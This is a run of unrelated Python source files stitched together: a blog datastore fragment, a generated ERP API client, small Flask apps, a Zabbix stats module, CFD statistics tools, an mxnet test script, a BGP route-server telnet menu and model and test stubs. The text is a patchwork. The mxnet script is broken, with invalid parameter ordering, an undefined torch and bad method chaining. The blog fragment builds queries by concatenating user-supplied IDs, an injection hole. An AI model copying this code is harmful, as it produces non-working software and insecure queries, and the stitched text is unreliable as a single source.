    ') response.out.write(post.content) def get_post_by_id(post_id): key = db.Key.from_path('Post', int(post_id), parent=blog_key()) post = db.get(key) return post def get_comment_by_post_id(post_id): comments = db.GqlQuery("select * from Comment where post_id = " + post_id) return comments def get_like_by_userid(post_id, userid): like = db.GqlQuery("select * from Like where post_id = " + post_id + " and author = " + userid ).get() return like def get_count_of_like(post_id): c_like = db.GqlQuery("select * from Like where post_id = " + post_id) return c_like# coding: utf-8 """ Beanie ERP API An API specification for interacting with the Beanie ERP system # noqa: E501 OpenAPI spec version: 0.8 Contact: Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from beanie.api_client import ApiClient class DocumentApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def add_document(self, documents, **kwargs): # noqa: E501 """add_document # noqa: E501 Creates a new document in the system # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.add_document(documents, async=True) >>> result = thread.get() :param async bool :param DocumentInput documents: Document to add to the system (required) :return: Document If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.add_document_with_http_info(documents, **kwargs) # noqa: E501 else: (data) = self.add_document_with_http_info(documents, **kwargs) # noqa: E501 return data def add_document_with_http_info(self, documents, **kwargs): # noqa: E501 """add_document # noqa: E501 Creates a new document in the system # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.add_document_with_http_info(documents, async=True) >>> result = thread.get() :param async bool :param DocumentInput documents: Document to add to the system (required) :return: Document If the method is called asynchronously, returns the request thread. """ all_params = ['documents'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method add_document" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'documents' is set if ('documents' not in params or params['documents'] is None): raise ValueError("Missing the required parameter `documents` when calling `add_document`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'documents' in params: body_params = params['documents'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['api_key'] # noqa: E501 return self.api_client.call_api( '/documents', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Document', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def find_document_by_id(self, id, **kwargs): # noqa: E501 """Find Document by ID # noqa: E501 Returns a single document if the user has access # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.find_document_by_id(id, async=True) >>> result = thread.get() :param async bool :param int id: ID of document to fetch (required) :return: Document If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.find_document_by_id_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.find_document_by_id_with_http_info(id, **kwargs) # noqa: E501 return data def find_document_by_id_with_http_info(self, id, **kwargs): # noqa: E501 """Find Document by ID # noqa: E501 Returns a single document if the user has access # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.find_document_by_id_with_http_info(id, async=True) >>> result = thread.get() :param async bool :param int id: ID of document to fetch (required) :return: Document If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method find_document_by_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `find_document_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['api_key'] # noqa: E501 return self.api_client.call_api( '/documents/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Document', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def find_documents(self, **kwargs): # noqa: E501 """All document # noqa: E501 Returns all document from the system that the user has access to # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.find_documents(async=True) >>> result = thread.get() :param async bool :param list[str] tags: tags to filter by :param int limit: Maximum number of results to return :return: list[Document] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.find_documents_with_http_info(**kwargs) # noqa: E501 else: (data) = self.find_documents_with_http_info(**kwargs) # noqa: E501 return data def find_documents_with_http_info(self, **kwargs): # noqa: E501 """All document # noqa: E501 Returns all document from the system that the user has access to # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.find_documents_with_http_info(async=True) >>> result = thread.get() :param async bool :param list[str] tags: tags to filter by :param int limit: Maximum number of results to return :return: list[Document] If the method is called asynchronously, returns the request thread. """ all_params = ['tags', 'limit'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method find_documents" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'tags' in params: query_params.append(('tags', params['tags'])) # noqa: E501 collection_formats['tags'] = 'csv' # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['api_key'] # noqa: E501 return self.api_client.call_api( '/documents', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Document]', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) 1-10 from flask import Flask, render_template, redirect from threading import Thread import random app = Flask('') @app.route('/') def lol(): if random.randint(0,10) == 0: return redirect('https://www.youtube.com/watch?v=dQw4w9WgXcQ') else: return render_template('home.html') def run(): app.run( host='0.0.0.0', port=random.randint(2000,9000) ) def keep_alive(): ''' Creates and starts new thread that runs the function run. ''' t = Thread(target=run) t.start()10-100 # lists.py # creation >>> [] # empty list [] >>> list() # same as [] [] >>> [1, 2, 3] # as with tuples, items are comma separated [1, 2, 3] >>> [x + 5 for x in [2, 3, 4]] # Python is magic [7, 8, 9] >>> list((1, 3, 5, 7, 9)) # list from a tuple [1, 3, 5, 7, 9] >>> list('hello') # list from a string ['h', 'e', 'l', 'l', 'o'] # main methods >>> a = [1, 2, 1, 3] >>> a.append(13) # we can append anything at the end >>> a [1, 2, 1, 3, 13] >>> a.count(1) # how many `1` are there in the list? 2 >>> a.extend([5, 7]) # extend the list by another (or sequence) >>> a [1, 2, 1, 3, 13, 5, 7] >>> a.index(13) # position of `13` in the list (0-based indexing) 4 >>> a.insert(0, 17) # insert `17` at position 0 >>> a [17, 1, 2, 1, 3, 13, 5, 7] >>> a.pop() # pop (remove and return) last element 7 >>> a.pop(3) # pop element at position 3 1 >>> a [17, 1, 2, 3, 13, 5] >>> a.remove(17) # remove `17` from the list >>> a [1, 2, 3, 13, 5] >>> a.reverse() # reverse the order of the elements in the list >>> a [5, 13, 3, 2, 1] >>> a.sort() # sort the list >>> a [1, 2, 3, 5, 13] >>> a.clear() # remove all elements from the list >>> a [] # extending >>> a = list('hello') # makes a list from a string >>> a ['h', 'e', 'l', 'l', 'o'] >>> a.append(100) # append 100, heterogeneous type >>> a ['h', 'e', 'l', 'l', 'o', 100] >>> a.extend((1, 2, 3)) # extend using tuple >>> a ['h', 'e', 'l', 'l', 'o', 100, 1, 2, 3] >>> a.extend('...') # extend using string >>> a ['h', 'e', 'l', 'l', 'o', 100, 1, 2, 3, '.', '.', '.'] # most common operations >>> a = [1, 3, 5, 7] >>> min(a) # minimum value in the list 1 >>> max(a) # maximum value in the list 7 >>> sum(a) # sum of all values in the list 16 >>> len(a) # number of elements in the list 4 >>> b = [6, 7, 8] >>> a + b # `+` with list means concatenation [1, 3, 5, 7, 6, 7, 8] >>> a * 2 # `*` has also a special meaning [1, 3, 5, 7, 1, 3, 5, 7] # cool sorting >>> from operator import itemgetter >>> a = [(5, 3), (1, 3), (1, 2), (2, -1), (4, 9)] >>> sorted(a) [(1, 2), (1, 3), (2, -1), (4, 9), (5, 3)] >>> sorted(a, key=itemgetter(0)) [(1, 3), (1, 2), (2, -1), (4, 9), (5, 3)] >>> sorted(a, key=itemgetter(0, 1)) [(1, 2), (1, 3), (2, -1), (4, 9), (5, 3)] >>> sorted(a, key=itemgetter(1)) [(2, -1), (1, 2), (5, 3), (1, 3), (4, 9)] >>> sorted(a, key=itemgetter(1), reverse=True) [(4, 9), (5, 3), (1, 3), (1, 2), (2, -1)] # -*- coding: utf-8 -*- # Copyright 2012 , # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from p2ner.abstract.stats import Stats from twisted.internet import task from p2ner.util.utilities import get_user_data_dir from configobj import ConfigObj from ZabbixSender.ZabbixSender import ZabbixSender import time, os from twisted.internet.threads import deferToThread class ZabbixStats(Stats): def initStats(self, *args, **kwargs): config = ConfigObj('/etc/zabbix/zabbix_agentd.conf') server = config.get('Server') self.host = config.get('Hostname').encode('utf-8') self.sender = ZabbixSender(server.encode('utf-8')) self.statkeys = {} self.loop = task.LoopingCall(self.sendStats) self.loop.start(1.0) self.lpb = -1 def cleanUp(self): self.clear() def setLPB(self, lpb): self.lpb = lpb def sendStats(self): ret = deferToThread(self.sender.Send) #print ret self.sender.ClearData() def addKey(self, key, initValue=0): if not self.loop.running: return if key not in self.statkeys: now = time.time() self.statkeys[key] = initValue k = "".join(["p2ner.", key]) self.sender.AddData(host = self.host, key = k.encode('utf-8'), value = initValue, clock = now) return raise KeyError('Key already exists: %s' % str(key)) def setKey(self, key, value): if not self.loop.running: return if key not in self.statkeys: raise KeyError('Key does not exists') self.statkeys[key] = value now = time.time() k = "".join(["p2ner.", key]) self.sender.AddData(host = self.host, key = k.encode('utf-8'), value = value, clock = now) def incrementKey(self, key, by=1): if key not in self.statkeys: raise KeyError('Key does not exists') self.statkeys[key] += by now = time.time() k = "".join(["p2ner.", key]) self.sender.AddData(host = self.host, key = k.encode('utf-8'), value = self.statkeys[key], clock = now) def getKey(self, key): if key not in self.statkeys: raise KeyError('Key does not exists') return self.statkeys[key] def hasKey(self, key): return key in self.statkeys def clear(self): self.loop.stop() self.statkeys = {} self.sender.ClearData() def dumpKeys(self): ret = self.statkeys.copy() return ret Outils/IHM/TRUST_STATS_JUPYTER/trustutils/stats/trust_statistical_tools_temporal.py # coding: utf-8 """ CEA Saclay - DM2S/STMF/LGLS Mars 2021 - Stage 6 mois The main class is TemporalPostProcessing. Using this package allows the following: - plot the instantaneous evolution of a probe(s) in same/different son file(s) - Plot the fluctuations evolution of a probe(s) in same/different son file(s) at a given t_start - plot the dt/residu evolution of a simulation - plot the spatial mean evolution of several probes along a segment and/or points from several files - plot the convergence of the statistical data along a considered probe(s); i.e: several window averaging - plot the time autocorrelations & calculate the Taylor micro-scale of a probe(s) in same/different son file(s) - plot the temporal energy spectrum using the Welch method """ from .trust_statistical_tools_base import StatisticalPostProcessing from scipy import interpolate, signal, optimize import numpy as np class TemporalPostProcessing(StatisticalPostProcessing): def __init__(self): pass def __del__(self): pass def plot(self,x1,y1,label1="",linestyle1="-",linewidth1=0.5,**kwargs): r""" Method to plot one are multiple data. Calls the StatisticalPostProcessing plot. Parameters ---------- x : array y : array label : str linewidth : float kwargs : dictionnary To plot multiple data, you can use keywords x1 = ..., y1 = ..., x2 = ..., y2 = ..., ... Returns ------- None : None Return nothing. Examples -------- .. code-block:: python # Simple plot obj.plot( X, Y, label = "Vitesse_x", linestyle = '-', linewidth=0.5, scale="linear", title="My title", xlabel="distance", ylabel="Vitesse_x" ) # Multi-plot obj.plot( X, Y, label = "Vitesse_X", x1 = X1, y1 = Y1, label1 = "Vitesse_Y", x2 = ..., y2 = ..., label2 = ..., title = "Velocities", xlabel="distance", ylabel="Velocities" ) """ StatisticalPostProcessing._plot(self,x1,y1,label1=label1,linestyle1=linestyle1,linewidth1=linewidth1,**kwargs) def instantaneousValues(self,sonFiles,x ,y ,z=None,component="X"): r""" Get fields (time, velocities, ...) Parameters ---------- sonFiles : list List of .son files path x : float Coordinate. y : float Coordinate. z : float Coordinate, Optional. component : str "X", "Y", "Z", "magnitude" or "kinetic" Returns ------- time : array time values field : array field values label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/instantaneousValues_example.py """ X, Y, label = StatisticalPostProcessing._getInstantaneous(self,sonFiles ,x ,y ,z,component) return(X,Y,label) def getdtValues(self, sonFiles, entry="dt"): # To be fixed r""" This method plots the data found in the FILE.dt_ev Parameters ----------- entry : str can be one of the following : - entry = "dt" . This is the default entry for tracking the time step evolution - entry = "facsec" - entry = "residu=max|Ri|" - entry = "dt_stab" - entry = "Ri=max|dV/dt|" Returns ------- X : array An array of time values Y : array An array of the chosen entry: Residuals, time step, ... Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/getdtValues_example.py """ X, Y = StatisticalPostProcessing._getTimeStepEvolution(self,sonFiles,entry) return(X,Y) def temporalFluctuations(self,sonFiles ,x ,y ,z=None, startTime = None,component = "X"): r""" Method that computes fluctuation of a signal Parameters ---------- sonFiles : list List of .son files path x : float Coordinate. y : float Coordinate. z : float Coordinate, Optional. startTime : float Starting time choosen to analyze data step_time : float Step time in .son file component : str "X", "Y", "Z", "magnitude" or "kinetic" Returns ------- time : array Time values fluc : array Fluctuations values label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/temporalFluctuations_example.py """ X, Y, label = StatisticalPostProcessing._getFluctuation(self,sonFiles ,x ,y , z, startTime, component) return(X,Y,label) def temporalAverageWindows(self, sonFiles, x ,y ,z=None, component = "X",startTime = None, endTime = None, window = 1,mode = None): r""" Window averaging, statistical convergence, etc. Parameters ---------- sonFiles : list List of .son files path x : float Coordinate. y : float Coordinate. z : float Coordinate, Optional. component : str "X", "Y", "Z", "magnitude" or "kinetic" startTime : float Starting time of the statistic analysis endTime : float Ending time of the statistic analysis window : float Time of a single window mode : str - "average" = window average, - "convergence" = statistical convergence, - "mean" = mean of average window - "difference" = plots absolute difference from the first mean, - "error" = error between accumulated time average and mean Returns ------- X : array Array of time values. Y : array Array that contains the chosen mod: Statistical convergence, window averaging,... label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/temporalAverageWindows_example.py """ X, Y, label = StatisticalPostProcessing._getAverageWindows(self,sonFiles,x ,y ,z, component, startTime, endTime , window, mode) return(X, Y,label) def temporalSegmentSpatialMean(self, sonFiles, component = "X"): r""" Performs the temporal spatial average on a segment. Parameters ---------- component : str "X", "Y", "Z", or "magnitude" for 2D plot Z = None, optional Returns ------- X : array Time values. Y : array Spatial average on segment. label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/temporalSegmentSpatialMean_example.py """ X, Y, label = StatisticalPostProcessing._getSegmentSpatialMean(self,sonFiles,component) return(X,Y,label) def temporalAutoCorrelation(self, sonFiles, x ,y ,z=None, digit = 5, component = "X", startTime = None, max_lag = None, fit = False, mode = "autocorrelation"): r""" Performs temporal autocorrelation on signal. Parameters ---------- sonFiles : list List of .son files path x : float Coordinate. y : float Coordinate. z : float Coordinate, Optional. component : str "X", "Y", "Z", or "magnitude" for 2D Z = None, optional startTime : float Starting time of the statistic analysis max_lag : float maximum lag for autocorrelation fit : Boolean When the value is "False", the method does not Returns the parabola fit. mode : str You can select a mode as this: - mode = ``"autocorrelation"`` (default) - mode = ``"fft"`` returns only fourrier transform of autocorrlation - mode = ``"autocorrelation fft"`` for both Returns ------- X : array array of time values. autocorr : array array of signal autocorrelation. Xfit : array Array of time values, only if fit is ``True``. Yfit : array Parabola fit, only if fit is ``True``. Xfft : array Array of frenquencies, Only if ``"fft"`` is in mode. Yfft : array Fourrier transform of autocorrelation, Only if ``"fft"`` is in mode. label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/temporalAutoCorrelation_example.py """ res = [] X, Y, label = StatisticalPostProcessing._getTemporalAutocorrelation(self,sonFiles,x ,y , z, component, startTime, max_lag) if "autocorrelation" in mode: res = res + [X, Y,label] if fit: Xfit, Yfit = StatisticalPostProcessing._fitParabola(self,X,Y,digit) res = res + [Xfit,Yfit] if "fft" in mode: Xfft, Yfft = StatisticalPostProcessing._computeFFT(self,X,Y) res = res + [Xfft, Yfft,"Fourrier transform of autocorrelation"] return(res) def energySpectrum(self, sonFiles,x ,y ,z=None, component = "X",startTime = None,hanning=False,fft=False): r""" Computes the temporal energy spectrum using the Welch method. Parameters ---------- sonFiles : list List of .son files path x : float Coordinate. y : float Coordinate. z : float Coordinate, Optional. component : str "X", "Y", "Z", or "magnitude" for 2D plot Z = None, optional startTime : float Starting time of the statistic analysis. Returns ------- f : array Frequencies array. power : array Computed Welch method. label : str Label of the field (can be used as label in plot method) Examples -------- .. literalinclude:: ../../tests/stats/trust_statistical_examples/energySpectrum_example.py """ if hanning: X, Y, label, ts, han = StatisticalPostProcessing._getTemporalWelch(self,sonFiles,x ,y ,z, component ,startTime,hanning=True) if fft: xFFT, yFFT = StatisticalPostProcessing._computeFFT(self,ts,han) return(X,Y,label,ts,han,xFFT, yFFT) return(X,Y,label,ts,han) X, Y, label = StatisticalPostProcessing._getTemporalWelch(self,sonFiles,x ,y ,z, component ,startTime) return(X,Y,label) huzhouxiang/shape2gram-mxnet0 from __future__ import print_function import os import argparse import time import numpy as np import mxnet as mx import h5py from mxnet import nd,gluon,autograd from mxnet.gluon import nn,data as gdata import pandas as pd from visualization.util_vtk import visualization from dataset import ShapeNet3D from model import BlockOuterNet,Conv3DNet from criterion import BatchIoU from misc import decode_multiple_block, execute_shape_program from interpreter import Interpreter from programs.loop_gen import translate, rotate, end import socket def parse_argument(): parser = argparse.ArgumentParser(description="testing the program generator") parser.add_argument('--model', type=str, default='./model/program_generator_GA_chair', help='path to the testing model') parser.add_argument('--data', type=str, default='./data/chair_testing.h5', help='path to the testing data') parser.add_argument('--save_path', type=str, default='./output/chair/', help='path to save the output results') parser.add_argument('--batch_size', type=int, default=32, help='batch size') parser.add_argument('--num_workers', type=int, default=4, help='number of workers') parser.add_argument('--info_interval', type=int, default=10, help='freq for printing info') parser.add_argument('--save_prog', action='store_true', help='save programs to text file') parser.add_argument('--save_img', action='store_true', help='render reconstructed shapes to images') parser.add_argument('--num_render', type=int, default=10, help='how many samples to be rendered') opt = parser.parse_args() opt.prog_save_path = os.path.join(opt.save_path, 'programs') opt.imgs_save_path = os.path.join(opt.save_path, 'images') return opt def test_on_shapenet_data(epoch, test_loader, model, opt, gen_shape=False,ctx): generated_shapes = [] original_shapes = [] gen_pgms = [] gen_params = [] for idx, data in enumerate(test_loader): start = time.time() shapes = data shape = nd.expand_dims(data,axis = 1).as_in_context(ctx) with autograd.train_mode(): out = model.decode(shapes) end = time.time() if gen_shape: generated_shapes.append(decode_multiple_block(out[0], out[1])) original_shapes.append(data.asnumpy()) save_pgms = nd.argmax(out[0], dim=3).asnumpy().as_in_context(mx.cpu()) save_params = out[1].asnumpy().as_in_context(mx.cpu()) gen_pgms.append(save_pgms) gen_params.append(save_params) if idx % opt.info_interval == 0: print("Test: epoch {} batch {}/{}, time={:.3f}".format(epoch, idx, len(test_loader), end - start)) if gen_shape: generated_shapes = np.concatenate(generated_shapes, axis=0) original_shapes = np.concatenate(original_shapes, axis=0) gen_pgms = np.concatenate(gen_pgms, axis=0) gen_params = np.concatenate(gen_params, axis=0) return original_shapes, generated_shapes, gen_pgms, gen_params def run(): opt = parse_argument() if not os.path.isdir(opt.prog_save_path): os.makedirs(opt.prog_save_path) if not os.path.isdir(opt.imgs_save_path): os.makedirs(opt.imgs_save_path) print('========= arguments =========') for key, val in vars(opt).items(): print("{:20} {}".format(key, val)) print('========= arguments =========') # data loader test_set = ShapeNet3D(opt.data) test_loader = gdata.DataLoader( dataset=test_set, batch_size=opt.batch_size, shuffle=False, num_workers=opt.num_workers, ) # model ckpt = torch.load_parameters(opt.model) model = BlockOuterNet(ckpt['opt']) model.load_state_dict(ckpt['model']) if opt.is_cuda: model = model.cuda() cudnn.benchmark = True # test the model and evaluate the IoU ori_shapes, gen_shapes, pgms, params = test_on_shapenet_data(epoch=0, test_loader=test_loader, model=model, opt=opt, gen_shape=True) IoU = BatchIoU(ori_shapes, gen_shapes) print("Mean IoU: {:.3f}".format(IoU.mean())) # execute the generated program to generate the reconstructed shapes # for double-check purpose, can be disabled num_shapes = gen_shapes.shape[0] res = [] for i in range(num_shapes): data = execute_shape_program(pgms[i], params[i]) res.append(data.reshape((1, 32, 32, 32))) res = np.concatenate(res, axis=0) IoU_2 = BatchIoU(ori_shapes, res) assert abs(IoU.mean() - IoU_2.mean()) < 0.1, 'IoUs are not matched' # save results save_file = os.path.join(opt.save_path, 'shapes.h5') f = h5py.File(save_file, 'w') f['data'] = gen_shapes f['pgms'] = pgms f['params'] = params f.close() # Interpreting programs to understandable program strings if opt.save_prog: interpreter = Interpreter(translate, rotate, end) num_programs = gen_shapes.shape[0] for i in range(min(num_programs, opt.num_render)): program = interpreter.interpret(pgms[i], params[i]) save_file = os.path.join(opt.prog_save_path, '{}.txt'.format(i)) with open(save_file, 'w') as out: out.write(program) # Visualization if opt.save_img: data = gen_shapes.transpose((0, 3, 2, 1)) data = np.flip(data, axis=2) num_shapes = data.shape[0] for i in range(min(num_shapes, opt.num_render)): voxels = data[i] save_name = os.path.join(opt.imgs_save_path, '{}.png'.format(i)) visualization(voxels, threshold=0.1, save_name=save_name, uniform_size=0.9) if __name__ == '__main__': run() ## MIT License ## Copyright (c) 2018 ## Permission is hereby granted, free of charge, to any person obtaining a copy ## of this software and associated documentation files (the "Software"), to deal ## in the Software without restriction, including without limitation the rights ## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ## copies of the Software, and to permit persons to whom the Software is ## furnished to do so, subject to the following conditions: ## The above copyright notice and this permission notice shall be included in all ## copies or substantial portions of the Software. ## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ## SOFTWARE. """This module is used to create interactive logins with BGP route servers. This module will perform the following tasks: 1. Print a menu and ask the user to make a selection 2. Based on that selection the module will telnet to one (1) of the three (3) route servers """ __version__ = 1.0 from os import system import pexpect def interactGhana(): '''This will create an interactive login session with the Ghana route server''' child = pexpect.spawn('telnet route-server.mtn.com.gh', timeout = 15) child.expect(['username:', pexpect.TIMEOUT]) child.sendline('rview') child.expect(['password:', pexpect.TIMEOUT]) child.sendline('rview') child.expect(['mtnghana-route-server>', pexpect.TIMEOUT]) child.sendline('\n') child.expect(['mtnghana-route-server>', pexpect.TIMEOUT]) child.interact() def interactOptus(): '''This will create an interactive login session with the Optus route server''' child = pexpect.spawn('telnet 192.168.127.12', timeout = 15) child.sendline('\n') child.expect(['route-views.optus.net.au>', pexpect.TIMEOUT]) child.interact() def interactOregon(): '''This will create an interactive login session with the Oregon route server''' child = pexpect.spawn('telnet route-views.oregon-ix.net', timeout = 15) child.sendline('\n') child.expect(['Username:', pexpect.TIMEOUT]) child.sendline('rviews') child.expect(['route-views>', pexpect.TIMEOUT]) child.sendline('\n') child.expect(['route-views>', pexpect.TIMEOUT]) child.interact() def main(): '''This is the program main function''' system('clear') print() print('Welcome to the Python BGP Route Server Interactive Menu!!!') print() while True: print('''Please make your selection from the options below: 1. Log on to the Ghana BGP route server 2. Log on to the Optus BGP route server 3. Log on to the Oregon BGP route server 4. Exit... ''') answer = input('Which option would you like to select: ') if answer == '1': interactGhana() elif answer == '2': interactOptus() elif answer == '3': interactOregon() elif answer == '4': exit(99) else: print('You need to pick an option from above - please try again!') if __name__ == '__main__': main() ## ## End of file...from flask import Flask, render_template, redirect, request from forms import MyForm app = Flask(__name__) app.secret_key = 'abcdefg' # two decorators, same function @app.route('/') @app.route('/index.html') def index(): return render_template('index.html', the_title='This is my Homepage!', subtitle='This is a subtitle!') @app.route('/symbol.html') def symbol(): return render_template('symbol.html', the_title='Tiger As Symbol') @app.route('/myth.html') def myth(): return render_template('myth.html', the_title='Tiger in Myth and Legend') @app.route('/encrypt', methods=('GET', 'POST')) def encrypt(): form = MyForm() if form.validate_on_submit(): message = request.form.get('message') shift = int(request.form.get('shift')) encoded = '' for n in range(len(message)): if message[n].isalpha(): if message[n].islower(): num = ord(message[n])+shift if num > ord('z'): num -= 26 print(f'new value: {num}') encoded += chr(num) else: encoded += chr(num) elif message[n].upper(): num = ord(message[n])+shift if num > ord('Z'): num -= 26 encoded = encoded + chr(num) else: encoded += chr(num) elif ord(message[n]) == 32: encoded += ' ' else: encoded += message[n] return render_template('enc_message.html', encoded=encoded) return render_template('encrypt.html', form=form) @app.route('/decrypt', methods=('GET', 'POST')) def decrypt(): form = MyForm() if form.validate_on_submit(): message = request.form.get('message') shift = int(request.form.get('shift')) encoded = '' for n in range(len(message)): if message[n].isalpha(): if message[n].islower(): num = ord(message[n])-shift if num > ord('z'): num -= 26 print(f'new value: {num}') encoded += chr(num) else: encoded += chr(num) elif message[n].upper(): num = ord(message[n])-shift if num > ord('Z'): num -= 26 encoded = encoded + chr(num) else: encoded += chr(num) elif ord(message[n]) == 32: encoded += ' ' else: encoded += message[n] return render_template('enc_message.html', encoded=encoded) return render_template('decrypt.html', form=form) @app.route('/success') def success(): return '

    Form submitted successfully!

    ' if __name__ == '__main__': app.run() from django.db import reset_queries from ..models.inmueble import Inmueble from rest_framework.views import APIView from rest_framework.response import Response from rest_framework import status from ..serializers.InmuebleSerializer import InmuebleSerializer from rest_framework.filters import SearchFilter, OrderingFilter from rest_framework.generics import ListAPIView class ListaInmueblesView(ListAPIView): queryset = Inmueble.objects. all() serializer_class = InmuebleSerializer filter_backends = (SearchFilter, OrderingFilter) search_fields = ['titulo', 'descripcion', 'municipio'] # class ListaInmueblesView(APIView): # def get(self, request, format = None): # try: # inmuebles = Inmueble.objects.all() # serializador = InmuebleSerializer(inmuebles, many= True) # return Response( # {'inmuebles':serializador.data}, # status = status.HTTP_200_OK # ) # except Exception as err: # return Response( # {f"Problema inesperado con el servidor. Error: {err}"} # ) from . import db articles_sources = db.Table('articles_sources', db.Column('source_id', db.Integer, db.ForeignKey('sources.id')), db.Column('article_id', db.Integer, db.ForeignKey('articles.id')) ) class Article(db.Model): __tablename__ = 'articles' id = db.Column(db.Integer, primary_key=True, nullable=False) title = db.Column(db.String(128), nullable=False) description = db.Column(db.String(256), nullable=False) url = db.Column(db.String(256), nullable=False) classification = db.Column(db.Integer, nullable=False) pub_date = db.Column(db.DateTime, nullable=False) class Source(db.Model): __tablename__ = 'sources' id = db.Column(db.Integer, primary_key=True, nullable=False) name = db.Column(db.String(128), nullable=False) feed_url = db.Column(db.String(256), nullable=False) articles = db.relationship('Article', secondary=articles_sources, backref='sources') python/modules/unittest/examples/calc/tests/test_calc.py #!/usr/bin/env python import unittest import calc class TestCalc(unittest.TestCase): def test_add(self): self.assertEqual(calc.add(10,5), 15) self.assertEqual(calc.add(-1,1), 0) self.assertEqual(calc.add(-1,-1), -2) def test_subtract(self): self.assertEqual(calc.subtract(10,5), 5) self.assertEqual(calc.subtract(-1,1), -2) self.assertEqual(calc.subtract(-1,-1), 0) def 